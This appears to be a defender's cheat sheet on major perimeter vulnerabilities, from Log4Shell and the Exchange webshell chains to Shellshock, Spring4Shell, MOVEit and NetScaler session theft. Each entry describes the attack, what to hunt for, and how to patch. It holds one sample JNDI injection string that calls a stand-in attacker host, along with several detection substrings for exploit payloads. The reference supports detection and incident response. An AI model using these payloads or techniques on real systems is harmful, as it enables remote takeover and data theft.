Perimeter Breakers

The attacker sends a string like ${jndi:ldap://attacker/a} in any field that gets logged (User-Agent, headers, chat, form fields). Log4j resolves the JNDI lookup, fetches a remote class, and executes it.

Hunt for 'jndi:', 'ldap:', 'rmi:', 'dns:' substrings in request logs and headers; alert on servers making unexpected outbound LDAP/RMI/DNS to the internet; watch for java spawning shells.

Upgrade to Log4j 2.17.1+, remove the JndiLookup class, block egress from app servers, and set log4j2.formatMsgNoLookups=true on older versions.

The attacker abuses the Autodiscover SSRF to reach the backend PowerShell endpoint, then writes an ASPX webshell to a known Exchange path for persistence and RCE.

Hunt for new .aspx files in Exchange virtual directories, suspicious /autodiscover/autodiscover.json?...&Email=autodiscover requests in IIS logs, and w3wp.exe spawning cmd/powershell.

Patch Exchange to the latest CU/SU, review IIS logs and webroots for shells, and restrict external access to Exchange management endpoints.

The attacker sends a crafted request to the Exchange front end (SSRF) to authenticate as the server to the backend, then chains write primitives to drop an ASPX webshell.

Hunt for POSTs to /owa/auth/ or ecp/ with anomalous cookies in IIS logs, new .aspx files in Exchange virtual directories, and w3wp.exe spawning cmd/powershell.

Apply Exchange security updates immediately, run Microsoft's mitigation/scanner scripts, and hunt webroots + IIS logs for shells and IOCs.

The attacker uses '/vpn/../vpns/' path traversal to reach a vulnerable template endpoint and write/execute a payload, gaining code execution on the appliance.

Alert on requests containing '/vpn/../vpns/' or to /vpns/portal/scripts/, new .xml/.pl files in the template dir, and unexpected processes on the appliance.

Patch the appliance, apply Citrix's mitigation, and forensically review for implants (appliances are often not re-imaged).

The attacker sends a crafted OGNL expression in the request URI; Confluence evaluates it and runs arbitrary commands, often planting a webshell.

Alert on '${' / OGNL patterns in Confluence URIs, java (confluence) spawning shells, and new files in Confluence webroots.

Patch Confluence, hunt for shells/IOCs, and restrict external access to the app.

The attacker sends a malicious Content-Type header containing an OGNL expression; the Struts parser evaluates it and runs the embedded command.

Alert on Content-Type headers containing '%{' / 'ognl' / '(#cmd=', and Java app servers spawning shells; WAF signatures exist.

Upgrade Struts, add a WAF rule for OGNL in headers, and inventory apps using the vulnerable parser.

The attacker sends a crafted HTTP header (e.g. User-Agent) to a CGI script; the value becomes an env var Bash parses, and the appended commands execute on the server.

Hunt for '() {' sequences in HTTP headers/logs, and web servers spawning bash/sh with odd commands; IDS signatures exist for the payload.

Patch Bash, retire/limit CGI, and validate/sanitize inputs that reach shells.

The attacker sends specially crafted class.module.classLoader.* parameters to a vulnerable Spring endpoint, writing a JSP webshell to the webroot and executing commands.

Alert on requests containing 'class.module.classLoader' or 'Tomcat' pipeline params; hunt for new .jsp files and java spawning shells.

Upgrade Spring Framework (5.3.18+/5.2.20+), patch Tomcat, and add a WAF rule blocking classLoader binding.

The attacker abuses the hop-by-hop header / auth bypass to reach the REST 'bash' endpoint and execute commands as root.

Alert on POSTs to /mgmt/tm/util/bash with X-F5-Auth-Token/Connection header anomalies, and unexpected commands run by the REST service.

Patch, restrict management access to a trusted network, and review for post-exploitation on the device.

The attacker exploits the SQLi to install the 'human2.aspx' webshell, then uses it to enumerate and steal files stored in MOVEit.

Look for human2.aspx (or similarly named) files in the MOVEit webroot, anomalous DB service account activity, and large outbound transfers from the MOVEit host.

Apply Progress's patches, hunt for the known IOCs/webshells, rotate MOVEit service credentials, and review file access logs for exfiltration.

The attacker sends a crafted request to over-read memory, harvests valid session cookies, and replays them to impersonate users without credentials or MFA.

Hunt for session reuse from new IPs/user-agents, impossible-travel logins, and large or malformed requests to the NetScaler; correlate with VPN session anomalies.

Patch NetScaler, then terminate ALL active sessions (patching alone does not evict stolen tokens), and review for post-exploitation activity.